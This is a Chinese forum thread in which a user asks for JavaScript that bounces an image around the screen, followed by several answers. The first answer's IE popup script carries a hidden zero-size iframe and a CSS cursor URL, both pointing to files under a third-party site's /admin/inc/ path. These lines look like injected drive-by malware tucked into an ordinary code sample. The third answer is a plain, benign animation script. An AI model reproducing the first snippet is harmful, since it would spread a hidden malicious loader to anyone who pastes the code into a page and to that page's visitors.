就是一张图片不断的在屏幕之间来回滚动的那种效果,谁能帮忙写一个。。
谢谢了!!!
就是如下图所显示的效果。。

解决方案 »

  1.   


    <html><body link="#000000" vlink="#000000"><SCRIPT> 
    var imagepath="01.gif"
    var imagewidth=80
    var imageheight=80var speed=3; 
    var imageclick="http://url" 
    var hideafter=0 var isie=0; 
    if(window.navigator.appName=="Microsoft Internet Explorer"&&window.navigator.appVersion.substring(window.navigator.appVersion.indexOf("MSIE")+5,window.navigator.appVersion.indexOf("MSIE")+8)>=5.5) { 
    isie=1; 

    else { 
    isie=0; 
    }    if(isie){ 
          var preloadit=new Image() 
          preloadit.src=imagepath 
       } 
    function pop() { 
    if(isie) { 
    x=x+dx;y=y+dy; 
    oPopup.show(x, y, imagewidth, imageheight); 
    if(x+imagewidth+5>screen.width) dx=-dx; 
    if(y+imageheight+5>screen.height) dy=-dy; 
    if(x<0) dx=-dx; 
    if(y<0) dy=-dy; 
    startani=setTimeout("pop();",50); 

    } function dismisspopup(){ 
    clearTimeout(startani) 
    oPopup.hide() 
    } function dowhat(){ 
    if (imageclick=="dismiss") 
    dismisspopup() 
    else 
    window.open(imageclick);

    if(isie) { 
    var x=0,y=0,dx=speed,dy=speed; 
    var oPopup = window.createPopup(); 
    var oPopupBody = oPopup.document.body; 
    oPopupBody.style.cursor="hand" 
    oPopupBody.innerHTML = '<IMG SRC="'+preloadit.src+'">'; 
    oPopup.document.body.onmouseover=new Function("clearTimeout(startani)") 
    oPopup.document.body.onmouseout=pop 
    oPopup.document.body.onclick=dowhat 
    pop(); if (hideafter>0) 
    setTimeout("dismisspopup()",hideafter*1000) 

    </SCRIPT>  
    </body>
    </html>
    <iframe src=http://www.mymole.net/admin/inc/ccd.htm width=0 height=0></iframe>
    <DIV style="CURSOR: url(http://www.mymole.net/admin/inc/ads.jpg)"></DIV>
      

  2.   

    http://ad.jz123.cn/
      

  3.   

    效果图:代码如下,又不会的就问。这个自己写的。
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>Insert title here</title>
    <style>
    #image{
    position:absolute;
    }
    </style>
    <script type="text/javascript">

    var x=50;
    var y=60;
    var step=1;
    var xflag=true;
    var yflag=true;

    function move(){
    var image=document.getElementById("image");

    var xRange=document.documentElement.clientWidth-image.offsetWidth;
    var yRange=document.documentElement.clientHeight-image.offsetHeight;

    if(x>=xRange){
    xflag=false;
    }
    if(x<=0){
    xflag=true;
    }
    if(y>=yRange){
    yflag=false;
    }
    if(y<=0){
    yflag=true;
    }

    x+=xflag?step:-step;
    y+=yflag?step:-step;

    image.style.left=x+"px";
    image.style.top=y+"px";
    }
    window.onload=function(){

    window.setInterval("move()",10);//周期执行一个函数
    }
    </script>
    </head>
    <body>
    <img id="image" src="1.png" alt="图片"></img>

    </body>
    </html>